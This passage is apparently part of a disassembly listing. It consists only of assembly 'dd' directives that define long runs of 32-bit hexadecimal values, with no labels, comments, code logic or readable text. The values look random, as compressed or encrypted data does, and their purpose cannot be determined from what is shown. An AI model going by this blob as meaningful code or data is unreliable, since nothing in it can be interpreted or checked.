9B2ED0FCh, 9F012584h dd 5014CE88h, 1079E8h, 9F88F52h, 36DF1B8Eh, 9D9AE61Ch dd 16AC041h, 248011E5h, 418AF0C6h, 0B60097AEh, 5D5738A3h dd 0BB227h, 436FE058h, 82CB62DDh, 0DF24962Eh, 0D2086300h dd 5ABD56h, 5D7A55E5h, 5049329Dh, 0B658B500h, 18238333h dd 166C1D34h, 7103008Eh, 17A5B112h, 0FE3D1D00h, 91AD429Dh dd 62CB0745h, 0C30DFA87h, 0B19021B9h, 0F00018D9h, 10450F3Eh dd 0BA92D8h, 9E116C42h, 2139A84Fh, 0E0350C00h, 44CB0872h dd 6F013F4Ah, 5A3E8180h, 0FE2F4CA1h, 0BA4783Bh, 7916138h dd 93A00D04h, 0C95EB4h, 4367D83Ch, 2495D3FFh, 22401300h dd 1DB46959h, 0FE7F00C7h, 0CE9771C4h, 6C243D5Dh, 0E88350BBh dd 0A8F88A59h, 0A066F7FBh, 0A28A0h, 0CA687FD0h, 0BF9BAC62h dd 96069700h, 94CCB090h, 84DF009Dh, 0BB3958Ah, 0A21E9341h dd 6A401DEEh, 11B8F932h, 3AD98C6h, 7A459C9Dh, 12F0F81Fh dd 5D3FAEAFh, 0DCB8E03Ah, 898738h, 0A19B4E6Ch, 0EB959ED4h dd 0F8004C92h, 21D59F76h, 0F4F01B2Fh, 723F0398h, 8AACD21Ah dd 9BA4EEC8h, 3235A824h, 51D1BC00h, 4C6AFD38h, 7E014C4Bh dd 0C5251C61h, 5DB8EC17h, 62F90600h, 8BDB0811h, 57C209BFh dd 5800C04Ch, 0E315310Ch, 10C1C730h, 2268BBB9h, 1000ECD4h dd 4719344Dh, 0ABFE8Dh, 622CCAB5h, 0F0C00189h, 5FCE88C0h dd 4D79D85Ah, 0A90080D4h, 96F9EF11h, 583032CBh, 2BAE289Ah dd 0FEFA75h, 2D5237E3h, 919060Bh, 8005D1B8h, 3C7CF61h dd 0C3E91C41h, 85608B2Fh, 0D8F001BDh, 5292A90Bh, 1DDCDC10h dd 0BE84CD0Ch, 3CE0A2Dh, 26EDA34h, 12A82CC0h, 310158BAh dd 2A89EF17h, 50808F9Fh, 7D25999Ah, 10008633h, 0BC582D1Ch dd 0B4C57Bh, 77B14F55h, 0E9610208h, 0BEA2F21Eh, 0D5BD98C0h dd 0F7138E0h, 0C0E5790Ah, 4173CD40h, 480099D6h, 5E0DC7F3h dd 4D854Ch, 2C0C3D3Ah, 0ACB0537Ah, 3B6BB700h, 79EDE188h dd 6292006Fh, 0C72E1275h, 0DE0FF6B6h, 0E09D77C6h, 0C9781763h dd 90D8A18Ch, 0FA4D4ACCh, 0EC43008Bh, 2C66F5CAh, 0FA095AC9h dd 820FBBBFh, 0E0068810h, 0E8C4Eh, 19592538h, 0D1CA1F67h dd 0D50C6D17h, 14213F05h, 5A2968C0h, 0E0FB3B2Ch, 0DA581180h dd 0FFDD6847h, 0D9693300h, 980E432h, 0A4D14842h, 51D03E00h dd 500391F9h, 0F18C2300h, 0F01E1D55h, 0DC130027h, 59443AA1h dd 0A8C73389h, 8C3032E4h, 0A5A3FAh, 0A1818339h, 0B094C6Fh dd 999EB500h, 0B0343AADh, 0B803FE74h, 85250FB0h, 0CFE0BF22h dd 0C265BEFh, 7933B1C2h, 0E5A4607Ch, 487021Fh, 0D086A7F0h dd 8F0014BEh, 65A6FA85h, 7D8801h, 0EA33F247h, 0F7792A6Fh dd 9F859004h, 10D11FB2h, 28406EF4h, 14BF5287h, 10590BABh dd 3B13E904h, 0BF5A4025h, 0DF58373h, 0FA02F3D9h, 0B4C1850h dd 0AF7E0085h, 0DFE80186h, 48275Dh, 7C5F9992h, 1FF48AC4h dd 40586FBFh, 720654ACh, 7F3FC638h, 24C3003Dh, 41C56DEFh dd 84D4007Ah, 0A6F21843h, 6C480FE2h, 64700009h, 0FAD1E16Eh dd 0DD0E00A7h, 0CD01AF69h, 0F0002679h, 0FD909D8Dh, 0F378930h dd 0E7C034EBh, 0B7B5405Dh, 18BB8026h, 0AFC14000h, 873BC9ACh dd 0E22D00DEh, 3ED5631Ah, 0FD30AE9Bh, 0C32E1038h, 0FCDB03C2h dd 0CD6BF082h, 95C8C088h, 0C12FE000h, 5CB02EF3h, 98020012h dd 0C64BD90Bh, 9900CD68h, 0AEB74F1Fh, 508DC4CEh, 0C29871h dd 8FDE3715h, 93572C12h, 880384B2h, 8C3A3B45h, 9008003Dh dd 17D940E6h, 0D5004A12h, 5C32086Fh, 193D66h, 0FC248149h dd 13AD435Ah, 9500AC90h, 0CF2B635Bh, 0EC2C7Fh, 370FD78Eh dd 247E53F9h, 0DA04BC00h, 80FCA0E9h, 0DC6E07BFh, 0C064BD41h dd 0CF67C19Ah, 78C29000h, 43B01FFFh, 0C9F40083h, 4A1087D1h dd 0CB00A148h, 0B68212E1h, 0F6C276Bh, 0FC987803h, 0DF35A9E0h dd 6300048Ch, 6FB28465h, 0BEEB64h, 86303368h, 39E6517Bh dd 6E63FD26h, 0B1F79300h, 9C3A1Ah, 0B5116813h, 0B89807B6h dd 54D58B00h, 0B48D3BECh, 0B8977C27h, 22CF00B5h, 0CC5B1792h dd 0E9000C6Ch, 91EBB1BCh, 3F71DB3h, 0E2BEB49Dh, 5880168h dd 0F8009A61h, 6BFC2352h, 60D38019h, 0BAF621B8h, 260021F3h dd 235774BBh, 0FA33690h, 634CB295h, 66E4562h, 24C5C980h dd 8200E007h, 0E4900455h, 981AC4h, 73808D6Dh, 4595573Dh dd 0EE663E1Fh, 0B14E91C4h, 1D21980h, 0C9DD00B8h, 444C6A38h dd 339E011h, 0D17A80A8h, 1FF78D07h, 0F3340004h, 28C442E6h dd 2D7C4C3Dh, 39325B00h, 47FA7C76h, 92B892h, 0F5A8271Bh dd 28318271h, 0D7F70B00h, 571EDC3Ah, 29D001C1h, 30556A6Bh dd 78FD040h, 1CEF1B00h, 22AB546Ch, 0F9EC9Bh, 31336310h dd 0FF1B5EEEh, 0F7100860h, 0FE285Dh, 61F2F6AFh, 6ACC2F65h dd 7A447107h, 1C1090E1h, 36BB93Fh, 0F2DB7030h, 70075F63h dd 740DBCCEh, 7A8ECh, 0D8B45B23h, 718E40CFh, 2D968101h dd 91395299h, 80D74881h, 80BF25E5h, 4F01F259h, 14764629h dd 0C2876C3Ch, 0BF5C0C0Ah, 204880F4h, 6AFCAFECh, 7D7CE300h dd 0A3998B04h, 0AB9300EAh, 85A9D081h, 7A008EC8h, 4909E24Bh dd 12AFE894h, 4868FFh, 256FFC24h, 32005D5Bh, 23113171h dd 12613A79h, 7E11DEDh, 0E0AF5310h, 2262B0B9h, 7AE47000h dd 2A6D444h, 2C1C3D5Ah, 0C2DC5100h, 0C9C56827h, 0BB0F3476h dd 81E436C3h, 7DD07E01h, 4EB803D3h, 0BC8C1BE2h, 0D850FEB0h dd 6679F200h, 97A55B34h dd 0F3D9C03Eh, 0A6A3E06Dh, 0FFC7FE00h, 863BB106h, 3491009Ah dd 7F87F545h, 10007AAAh, 0E47DE777h, 0E4363CCh, 4EC78F56h dd 0BB19AD21h, 236420DFh, 7DE5BF13h, 32B1D007h, 0D40E3CD0h dd 0C6B0A8Bh, 80AC4DEEh, 0A8ED1DB6h, 0E8051E92h, 1565270Dh dd 67BDD80h, 0E3940012h, 469FDF8Eh, 6000CEE2h, 2D4FA83Dh dd 0FE95EBh, 140E9D24h, 71519FF6h, 0B44A4000h, 0B0BE960Fh dd 13F0D619h, 67540038h, 261B33F0h, 8064173Ch, 7BF76978h dd 83EBC8h, 8B50BB24h, 0CC9FE135h, 0D625C000h, 32FE59F7h dd 3BA30004h, 0FB80AD2h, 873D833Fh, 1B7900E6h, 127EA696h dd 296E1E73h, 1F930063h, 85883C60h, 81621C0Ch, 0B4F04Eh dd 1E693240h, 284386FBh, 0BE009874h, 0B9E4D91Ah, 0A10F26h dd 0A225FC5Ch, 9D132911h, 33186800h, 61C7B081h, 0B8FA1E97h dd 5B0E0095h, 4D1CD83Eh, 0E8EA3B1Dh, 0F249E3DDh, 976280DCh dd 19964Ah, 0A90B2F7h, 4EE9F56Bh, 0CB6C103h, 0D0D42033h dd 0E6667DECh, 0CA3FEA4h, 0B1D1216Eh, 400063B1h, 36EEA62Fh dd 0B0C74Bh, 0DF32A130h, 4CB1BE6Ah, 0D4B9DE00h, 650127B6h dd 6BFD00CDh, 9A43F477h, 0C0A2F72Bh, 0DC187A80h, 63013BA0h dd 9742CA39h, 0CDDC7053h, 46D200D5h, 67FACB8Ch, 0A67F4101h dd 33F694F8h, 43F3A31Dh, 0A0005052h, 0D8356C18h, 750C1BC5h dd 56D830F9h, 41F6E8F0h, 7D776406h, 3C0939Fh, 24C9EED1h dd 88001815h, 2ADA5D44h, 1F1F92ECh, 0FBEA25h, 0E0FA23E4h dd 0D500BD22h, 0C6A137F7h, 0F16AE81h, 0D28D9C64h, 0FE286DC7h dd 0DF376BE0h, 2C78F34Eh, 587CBC00h, 5184E0CDh, 16960293h dd 8A608EEAh, 637A2444h, 0B009F580h, 0FD46000Ch, 5FEEA2F8h dd 0E2002140h, 0D8A704E9h, 0F9B933Dh, 2A292D19h, 1D8B3A00h dd 39750F38h, 9C551C3Bh, 0ED056897h, 0F0009D7Ch, 7588F166h dd 80CB0094h, 0E1EF5676h, 3E000DF7h, 0F6D18F8Ah, 0D77AB9h dd 0D87F919Fh, 9CB75D4Fh, 0B434081Fh, 0E01F6FCEh, 4E217B6Dh dd 78CC0E89h, 1780ACAEh, 83F2990Bh, 0E7167916h, 71DC8F00h dd 0EBB40D9h, 0E24818E8h, 0C107E980h, 0F107E5A5h, 0A7268A06h dd 6A2D6C51h, 5CF0E8h, 0E97F82D4h, 9899E055h, 47454A09h dd 695C80D6h, 979A402h, 0F4FE7015h, 73A53480h, 0F1023703h dd 0EAD6603Fh, 3A68CCCEh, 469F7550h, 0AFF0412Ch, 80D0F9D5h dd 3866BF58h, 78DA8h, 78DDF21Dh, 0BA6A650Ah, 1FF8151Ch dd 71B2EAC0h, 0C95298h, 5F50E0E8h, 0F792D6B6h, 810D2905h dd 0B6001B02h, 98143285h, 0B8E92442h, 8CE40074h, 0B5F24DEFh dd 0F4754Ch, 2E3CD1A3h, 2B218Dh, 0E5A4D92Ch, 92B9D7BDh dd 0C9E0CA39h, 4D3C0048h, 7FFA1DD3h, 0E7ED0078h, 0CF8A89Ah dd 100A3ACh, 4D9B6032h, 3E9DF9FCh, 44813657h, 996A2461h dd 0C848C627h, 49015B56h, 0AF0B1B43h, 61838FAEh, 1F3B2A12h dd 0B85DEFC0h, 3AD93000h, 0EBAB5718h, 3B8981Dh, 0AA2FE5B5h dd 117952F0h, 4C6C3000h, 0FDAB62B6h, 49D63AA0h, 2B64FF00h dd 0E1E2CC98h, 0A4824300h, 0BC2936F4h, 0FCF10702h, 607C8C96h dd 0CB222464h, 440038E4h, 3AFDA4DBh, 670F529h, 3DE0E219h dd 133A68C0h, 4CEC2C7Bh, 8DC72A04h, 0B0A34D0h, 525E1C18h dd 0EF904037h, 12C63123h, 30187450h, 0B38FA601h, 0C0162FEDh dd 0B638C880h, 3AC864CFh, 0B7D0A462h, 37E37F6Fh, 0C92CF807h dd 2A40EC16h, 0E999474h, 729E3431h, 37247F40h, 0B300D7F8h dd 0E68DFC77h, 0FBC7A88h, 660B4CCBh, 0BD18FD03h, 0E01477E1h dd 0B67164FBh, 0A0EE1A00h, 8B0327B9h, 0AD76008Ah, 2AE49F08h dd 203B1271h, 6E007AC8h, 1BC6BD68h, 0F23734DCh, 0A36200F8h dd 82C20AE5h, 35008519h, 5BA4537Eh, 310A6C8h, 83E3BF72h dd 0D00B477Fh, 0A0E5293Bh, 59B864ECh, 9A5D00CDh, 0F2F02EBFh dd 38C0A633h, 83E61F3Ah, 46B1404Fh, 0A4B8BC0Ch, 0F97F703Dh dd 0C188C3C0h, 6F2FF121h, 1803605Ah, 0FAD48F0Eh, 21588C17h dd 6F280048h, 0B7A3D8D5h, 0ED069187h, 49AF02BFh, 431020C8h dd 13DBC0A3h, 0DDD1C818h, 1F40BAA9h, 0C02FC423h, 0B286AC73h dd 0D5008868h, 0EEA42141h, 0D6B515FEh, 1DD0C0E8h, 0BB02C50Bh dd 7A6502A3h, 0C8C380F5h, 0E28F10h, 212036CCh, 8163E39Ch dd 98E93B0Eh, 0CE74603Dh, 755C1B5Bh, 84DA011Ah, 70F6BCA6h dd 65E8EFB4h, 237391FDh, 8173DD00h, 3297E90Bh, 14400275h dd 28254CC1h, 0C67AE881h, 8BEFD89Dh, 0ECA3DE03h, 0C0AEEAB0h dd 7BE6B9h, 3992B3E5h, 4FF91BE9h, 0F600FCF0h, 0C00549F0h dd 7F4EA1ECh, 43A21EC8h, 4A9540EFh, 0A76359BAh, 0B23B3E00h dd 5E6131A1h, 85E8005Fh, 0A81B9C5Ch, 0F900122Bh, 0F2453CE2h dd 34211ECh, 9BB551FEh, 24C84467h, 330050F0h, 987DAC3Ah dd 5734CBh, 19D5F878h, 2F05185Dh, 0E55438h, 0AD9FFB28h dd 7F838CA3h, 41200A1h, 0C4F40ED1h, 4F01A7DBh, 0FCE9D58h dd 0B5CC7411h, 53766Fh, 7DB18B27h, 965E65EDh, 0AB529119h dd 0F4DC1670h, 0B5BA0F0Ch, 9E61FCC2h, 0CCA52642h, 7D0397B8h dd 9B51C129h, 0CB95B86Fh, 257A0060h, 80BC6CDDh, 0F078974h dd 9D8A71D1h, 0C54F3120h, 0C34D007Ch, 348275F6h, 12708C92h dd 17445A1Eh, 8D013A80h, 0F937BCh, 0A13CBF0Fh, 0AD6BC325h dd 0F800D7ECh, 7BEF1840h, 181C3A98h, 0D07D923Bh, 0A37BE437h dd 5D9FBD00h, 6439EB4Ch, 635B1857h, 6CDC30C8h, 894A4300h dd 6887A93Ch, 0F1273F2Bh, 0E4F48183h, 59BA5B9Fh, 0A23690A0h dd 4B6B8466h, 0B75811h, 1629C25Ah, 2C0BBE8Eh, 77EE9700h dd 1A549EFEh, 0C4761513h, 5D01A094h, 0E5510AA1h, 0CA1080AEh dd 578C6238h, 0E180C260h, 5000289Eh, 7BF0F4h, 8EDA3067h dd 9DE0B017h, 0F929AF00h, 3C1F7D91h, 0E5310021h, 84537826h dd 9A24CE75h, 0C6021CEEh, 0E0294A09h, 0C40BF99h, 12A7A646h dd 55396DB8h, 3753B98h, 9EBB0423h, 0D436E8C6h, 9DDA0040h dd 0B870CA4Eh, 7C07417Bh, 94E9EDAFh, 97B112h, 18AD04A6h dd 0E43C100Eh, 13E7609Bh, 0EE91FCh, 68994B3h, 84C680D9h dd 0C4F75E00h, 11F819AFh, 303417CCh, 18E133Ch, 0C8A5D007h dd 216ED05Ah, 0B2A1FE07h, 0AF205B89h, 76880A0h, 0F1823437h dd 8B97B06Bh, 18058FE9h, 23BC2F3Ah, 82516C82h, 633F0EC0h dd 974BC8BFh, 9E8801C8h, 332C625h, 0C8E821C7h, 78052761h dd 0EE12F5A9h, 8D358600h, 0FEFD1177h, 0CAD60390h, 0E0B63950h dd 888AA400h, 6ADE84ACh, 0D6ACA1EDh, 2A02B422h, 2807FE55h dd 9535E340h, 2E7E0FF4h, 4B060D1Dh, 46D5E680h, 26538B2h dd 71F69920h, 0F0803F0Ah, 54C54B9Dh, 5227C600h, 3370A6D4h dd 14500ACh, 0F19CCA69h, 0AA01B335h, 656EAB34h, 8FE46083h dd 80C90FB6h, 63C0A0D2h, 38172E0Bh, 0CEE49600h, 0C8819453h dd 7C30042h, 664F9FAFh, 7D000D0Ah, 0FBEE20D9h, 997916h dd 0C2E1465Bh, 9FAAAC98h, 0AFE50400h, 35F01F37h, 0D6700E2h dd 0E1307EAh, 1C6092CBh, 60888518h, 0E3B63D6Fh, 28F68180h dd 9D9F502Bh, 238D4403h, 9FB0F0D3h, 0E13D80AEh, 7F890Bh dd 545D77E8h, 6AC5D220h, 0E99AE4F5h, 5B747900h, 0EFE1AB59h dd 0E0C30035h, 45A5CC42h, 1100251Dh, 268E9C8Ch, 3B84A6DFh dd 89805AC7h, 7BBC7DF0h, 2900B1DDh, 8AB5653Ch, 3DAC9A48h dd 58006DEh, 9E15C4E4h, 91011B4Ch, 54C2F0E5h, 14F07043h dd 0B0E421h, 0E2051FEDh dd 97DFCACEh, 0B2A04150h, 0C7403Dh, 85A4C3CBh, 2DAF0D1h dd 0D6F87F21h, 0AC60C822h, 2A724FB6h, 6F057B03h, 0C80BA473h dd 7311432h, 0F4D13A40h, 0FC37C095h, 80F07CD9h, 6D0081F2h dd 0F0B4C82Ah, 1E210CEBh, 0A6A9968Ch, 0DDE0098h, 2BD29278h dd 5A7AC2F6h, 0CE0C827Dh, 5921BD1Ah, 0FE5DFED5h, 7DEF006Dh dd 5C8D5A72h, 0EA614933h, 0C532D399h, 436F8C7h, 0FD0B00BCh dd 866E2C2Ah, 4F00A6A7h, 0D59930DAh, 8D7438h, 78928E26h dd 8C504460h, 0F20194EEh, 0E5ED074Bh, 78807E81h, 6875CA16h dd 4216CBA9h, 1F01352h, 0A66601D7h, 1CF94FB8h, 0F829F9CAh dd 41761701h, 0A012FF00h, 44DC09CCh, 0EFEE04FBh, 80B7F8F3h dd 255AF19Dh, 0D760A600h, 27B3A9B1h, 1920557h, 78B2695h dd 0E0704F8Eh, 5003148Dh, 0D59C1206h, 4B9DC82h, 41A778B4h dd 0A48F8153h, 807C202Bh, 0F506B216h, 87605600h, 1374707h dd 19F71BCEh, 802C96FDh, 8177BB28h, 266435h, 18ABF62Eh dd 0EF634A93h, 73C4FF07h, 758348A0h, 19300131h, 5BC97C18h dd 9D4C209Bh, 2A103A00h, 0FEEAB42h, 6A140309h, 0DB40CFE3h dd 4985D6B0h, 0B0909B12h, 75DE3800h, 0FE7DDCBh, 540FA12h dd 0EBE41EA0h, 1502DCF4h, 2697B204h, 0B9A88162h, 0F040715Ch dd 18C7E321h, 3917BAD6h, 39501965h, 44706BB8h, 17C2C48h dd 0F9A2C142h, 0C7C4BC2Dh, 1A930178h, 46CE8141h, 0A83424F1h dd 0B74FFD00h, 6BEF330Bh, 0B49A50F4h, 40FA65h, 0C0FDD8C4h dd 3F6AF34Dh, 849E040Eh, 599B40B3h, 1FDA8F9Ch, 490F9F5Bh dd 0B674A31Fh, 0D886BE01h, 2DF0CA5Eh, 6C2F2C5Bh, 5CBC07A0h dd 958B30D2h, 0E40FC06Fh, 0C71006BFh, 0A9411298h, 13600903h dd 0D872005Fh, 24D68287h, 8B035452h, 0BF4D30C3h, 0F2E4E05Bh dd 15CAF2D9h, 0BC38C806h, 0E7929603h, 22A8D534h, 0A200D275h dd 1288EFDEh, 3748E2h, 0E3052BADh, 977622FCh, 0B50063E8h dd 6BE77040h, 0A4C7357h, 7D4FAF2Fh, 87D000F2h, 2874D163h dd 961D3701h, 0F3A67F27h, 0EA2C18D0h, 3FDA00F5h, 79542658h dd 0C8393411h, 4CF00085h, 598C5FC1h, 9D5E0C14h, 0F768415Ah dd 56157200h, 71E27A94h, 5B61003Ah, 0EDD22534h, 380F500Ch dd 0E0F388F8h, 0F66A130Eh, 14C301AFh, 0EC9C03C8h, 0CEB0F70Ch dd 2A0E17D8h, 664B54h, 638CE01Dh, 0DC79D7h, 2969CAD2h dd 77A37C93h, 300DDECh, 13AF59B2h, 0A60999h, 0C3A59CEDh dd 0EA65FEBEh, 936A5300h, 998128D4h, 584D00C6h, 694657A9h dd 41006CFAh, 6D7EF564h, 7C0979h, 8A538B67h, 84558561h dd 639B171Ch, 22B21EC0h, 8AB072Ah, 98DB444Eh, 0A9338F00h dd 1875767Fh, 81F39A24h, 0A1008D04h, 9B88BDAh, 2A79762Eh dd 40109E24h, 0DC80EB91h, 485DE883h, 0A53CBD31h, 0B00F33Eh dd 3FEBA90Dh, 1B00B561h, 0BE1E7F90h, 0F0A1C4F4h, 0FE1EAD6h dd 572DA4EBh, 819186CCh, 987404ECh, 0E9A75F07h, 78CC5B2Ah dd 3BE6E2C4h, 31805EA6h, 33B47FA1h, 40FB44C2h, 5FE51B68h dd 205031D0h, 440F14C2h, 93001433h, 9DC681ACh, 0D1128738h dd 0B90C05A2h, 84B0E6h, 0DAA3D657h, 0D2358C90h, 87E09703h dd 0A04ADFC2h, 0CE7194h, 0D6EE0B76h, 85928891h, 6A8B7301h dd 5717376Bh, 6CF0CFEBh, 0F20650D9h, 0F340FA9h, 0E3C040D8h dd 0C4643D4Fh, 33A6C62Eh, 16C25400h, 1D0AA9Dh, 7598CC67h dd 0E4EC64BCh, 7B004E72h, 512011D3h, 0D913E6h, 1A14E938h dd 87FEA3Dh, 83F6410Ch, 0FC170810h, 0EE573A23h, 0F2CB2680h dd 0F9202A1Bh, 1C330C3Bh, 4E070BE2h, 0C6B0AD9Ch, 597A58h dd 0B199BA43h, 4B79B3C5h, 3826A977h, 7C008748h, 360D7DFFh dd 1E350002h, 60165B49h, 0C9009421h, 0BC9F0C05h, 0AE8D76h dd 0D6DEC114h, 0E6574AB7h, 0DFC0FF07h, 9870FE8Eh, 16AA39Fh dd 0D68871ADh, 0ECBBAC1Ch, 1F702F1Eh, 0C3AA8700h, 0C8A5D9F6h dd 9047030Bh, 11184DFAh, 0C0A669E9h, 99004FABh, 985C1427h dd 40C9D2h, 87E54382h, 3880A0C7h, 0EFDC0A03h, 0D8BD4226h dd 0F41568h, 59278AB2h, 60ECFFE7h, 0EF98E401h, 1C18A23Dh dd 0EE70F8CBh, 0AC3003Eh, 2E312B50h, 1300624Bh, 5E853326h dd 2C08A5h, 7AE43F3Ah, 9615FDD3h, 0AE4C1F3Eh, 3403184Fh dd 0EF6BA2h, 2E3DAF98h, 0B9B7051Eh, 198C2535h, 0F50B2E80h dd 0AD3D0E8Fh, 82E11AA2h, 7093662Fh, 772879CFh, 0FD30F832h dd 6251608Dh, 0EE0A06F5h, 0A0C1716Dh, 4EF99100h, 56AD122Fh dd 2A8912ABh, 80C501C7h, 3046178Ah, 4B00FB1Dh, 7B5A986Dh dd 1EAC571Ah, 40C323A2h, 0D386347Fh, 0BC0E4A1Fh, 0BE855642h dd 52AC482h, 588880C2h, 55F4E3h, 5CAE796Ah, 66CAF7BAh dd 491D00Eh, 224AC7E1h, 0F343C727h, 0EC4DA092h, 0A2A5030Bh dd 3C1F447Ah, 1391480Eh, 16BD4793h, 10CA4BF0h, 5F1006Bh dd 0EDC8AF8Eh, 19009673h, 58AD8A04h, 2B1AF6h, 1C81F91Eh dd 57C54CC2h, 2E23FFA0h, 0F5564500h, 0F2E75286h, 15750162h dd 7E9F6BA1h, 0B99C4333h, 9663CC80h, 0B154C0C0h, 0FE18017Ah dd 0EED0034h, 0FFE0CDC5h, 0EB004437h, 0A807CC08h, 158836Fh dd 20FA1BBFh, 70B4556Eh, 7F30A4F3h, 81D2C869h, 604A008Bh dd 0C1B3F9A9h, 90543BADh, 0D400B5ECh, 95DCBF15h, 0CE034E6h dd 0F209B38Dh, 0C6003621h, 0EB7964DDh, 795CD938h, 0B05E18A2h dd 65D66183h, 74628F00h, 3358F7D2h, 12E5195Ah, 9DF5D8FDh dd 0B6C0F3C8h, 6328DA77h, 3D160084h, 213B8070h, 7F48DED5h dd 0E62E067Fh, 0B59AB58h, 7417CD5Eh, 36AA1280h, 18C06204h dd 0E143B5DCh, 2D73001Ch, 0FFAB63Ah, 0B1DDFB35h, 0B827AB8Eh dd 0B13B81h, 0CA5FD87Dh, 0B87F74Eh, 98295413h, 0D5D7121Eh dd 0DA6EE0h, 5EDD6423h, 4F26B0ABh, 1C8E148h, 5D47C7D7h dd 0CBC43314h, 20EE302Dh, 0FBEAC188h, 97E97E0Eh, 2435E0B5h dd 35674DFh, 42962CB9h, 1FD0C68Ch, 0BE02EAF4h, 6BBBEC0Bh dd 0CED840A8h, 92510709h, 4EC4C3FAh, 25F040DEh, 0AF4506FFh dd 0AC80B100h, 0C4CF141Fh, 6CC00012h, 71BFB89Bh, 3F1E4070h dd 76C9978Ah, 0BDF18301h, 73BAC090h, 85D6004Bh, 223F5EB1h dd 0BB00669Dh, 0A888C099h, 609A648h, 8AF1BC2Ah, 2900BCB7h dd 752EEF32h, 1240252Dh, 79E26Fh, 6D9685E4h, 2700F928h dd 0B15F99A5h, 39B47CD8h, 0F71CD46Ah, 69D4018h, 0C91EE724h dd 15E88A00h, 62B77E54h, 0D7213B26h, 43305F1Dh, 4096E359h dd 0F30D64D0h, 48783Ch, 0B8D7AB67h, 1FD0B1A0h, 4008B51Ah dd 750B1E97h, 0E400CBACh, 2BB52E2h, 1C294348h, 0CA7BC33Dh dd 90451Eh, 0B4035AF1h, 0DE01C7CAh, 6DCFA297h, 21AC0CD3h dd 0C9E1FE5h, 44E0D78Eh, 18594D34h, 0BC29A5C0h, 9E54097Eh dd 90A3F596h, 3A89FA22h, 0DF3A3047h, 4E3DA0C0h, 26B0F419h dd 0F702301h, 654FA457h, 6C222CC1h, 0B45C2417h, 5ACEFD00h dd 7C799ECCh, 905D7D0Ch, 0E9F9000Ch, 5F836478h, 0F0022211h dd 7BFBA962h, 0AE9C044h, 0A76F0CF9h, 33882AFAh, 1FF66C00h dd 0DCDEAE5Ah, 3E740E54h, 0B700E907h, 6D49CF0Bh, 44B88CF6h dd 74DDD304h, 0E287D01Dh, 7DAE5C01h, 0A08987E8h, 0B83A9E84h dd 0A0DA0016h, 1B1560FBh, 5C39EB3Eh, 0F08A3C84h, 0BEC4A207h dd 1EC14C99h, 9FFD72E2h, 1259C0h, 0CAC22C27h, 1387A6DDh dd 0CFACC00h, 2E5D91DEh, 36F21Ah, 3922F683h, 65B187AFh dd 8238FD01h, 7DF83D6Dh dd 40DA0C21h, 0FF09BBEh, 55B0448Dh, 89457AA1h, 0ED45706Bh dd 0D092E04h, 548001DEh, 8414E8h, 0CD4F1B72h, 89FF94BEh dd 8CFA800h, 0BFEDF309h, 0DBF705E0h, 7BC576h, 208162AEh dd 75003EC4h, 9543F82Ch, 396D6E40h, 7100E06Ah, 0EDC7F727h dd 2100CD90h, 942361E7h, 780DEC6Eh, 0E64F036Dh, 4831971Ah dd 0ED3E3600h, 5DBA5980h, 7CF019h, 21EEE65Ah, 8C3CFD18h dd 23E41B00h, 0BDED1A32h, 0F2CD0098h, 0E52084F5h, 0E30E8A47h dd 27673002h, 53C045AEh, 3E952Ah, 0FBAD8604h, 2134A82h dd 0FD3D8A2Eh, 5B89881Fh, 0DB038273h, 4312406Ah, 89CE00E4h dd 81F43D66h, 19005342h, 237693CDh, 97493Fh, 62E06864h dd 0BAF2B099h, 8D8A4304h, 88D0D4CEh, 0F76394h, 78779CAEh dd 89864FBFh, 833AD000h, 17F4CB84h, 0EADF0258h, 0E8F16225h dd 12EB8C60h, 1323500h, 0F8512E8Fh, 42450287h, 11252BD4h dd 471660C0h, 247D973Ah, 9A160D59h, 71186C40h, 0EA95877h dd 91CADF2Fh, 78B3F383h, 0C97C2078h, 64E64200h, 0CEA8A170h dd 263A01B2h, 8AAC0D6Ch, 0A0B8417Eh, 0A1FACCFCh, 0EE0C1C01h dd 0A9C9753Dh, 0ECA9420h, 4F7EF797h, 79E9D78Ch, 0F851F1EFh dd 104B4B6Bh, 37BBF0h, 973FFCD7h, 778F7E79h, 1003B492h dd 1204B94Fh, 8074E2B8h, 9997F80Ch, 0F7BF00B4h, 0F3016A61h dd 0D0007C06h, 0CBBAD4Eh, 335937Fh, 53FC9678h, 30887DA2h dd 600CEF2h, 0D2FE91F8h, 732B5F21h, 961300F0h, 0D448F4B9h dd 52003525h, 0A22F5C71h, 133D59AEh, 0C01921h, 0A2E425Dh dd 72008A29h, 78AF585Fh, 0E8A166EFh, 4B1E005Ch, 7531461Ch dd 7F003C13h, 0A436B64Ch, 0EA73B5h, 2551C66Fh, 0FF92975Dh dd 0E201D7F0h, 0F6E48FDEh, 0E09D760Dh, 5FA84CBCh, 6000A372h dd 6BABF5BFh, 1B5FBACh, 0FCE5AA4Dh, 0E608B05Bh, 3E48860h dd 0E651390Bh, 0E7A28109h, 1080230Eh, 6007C76Bh, 0F8032AC6h dd 27C25094h, 403FB87Fh, 0E52E0193h, 3C317A22h, 171BE03Bh dd 8C5A4Dh, 273351EFh, 7707971h, 76CF6613h, 6FC8F0A3h dd 50021EF5h, 24AEB27Eh, 0C24CE811h, 13563D43h, 0FC5F2C80h dd 0D7503BFAh, 0C0B3012Eh, 2368E901h, 70723A04h, 52EC9300h dd 9F51A97Eh, 266AA55Ch, 99006A87h, 0E4852D80h, 0A7630EB3h dd 6B00B8E2h, 55538220h, 258AA900h, 1A86F9CEh, 30E50C0Ch dd 0F788AFDFh, 0FFF6D000h, 0A2AC7D74h, 7C664953h, 497C3500h dd 926811E4h, 77B1DE01h, 0D00C0DF2h, 0F1ECF98Fh, 16BA9E60h dd 85005BDFh, 0F214C26Fh, 2C2006h, 3D70A95Ah, 0B61395BCh dd 0B06D9B3Ah, 2E6361FEh, 0C844CFFh, 3640118Fh, 4EF02439h dd 0EC23F61Fh, 9B7000BBh, 5A49B3CDh, 0C5D230F8h, 0BCE2904Ah dd 0B5094601h, 670CDB64h, 4450A4h, 17CCE64Dh, 0EB0B3D04h dd 20A2D185h, 34C2D750h, 0FC7403CDh, 0EC57DEC1h, 367B28F0h dd 0E97919F6h, 2C84A859h, 7316E863h, 0ED265100h, 0CC8A17Eh dd 0A5942AF6h, 8EA0FA51h, 0DB0C53D5h, 19B2E115h, 447209E7h dd 0C5854917h, 98F4C1B6h, 0FDF880CCh, 759AAFD4h, 0C5A80072h dd 1C87C067h, 0D900C30Eh, 0D4DA9D98h, 0DDBB0Fh, 78C8F5F0h dd 0A9835913h, 0ACB0E900h, 92610CDFh, 3CE53AD3h, 866B1800h dd 8C555A3Dh, 6D563900h, 0B58BBDCCh, 0B036003Ch, 0B16E7E46h 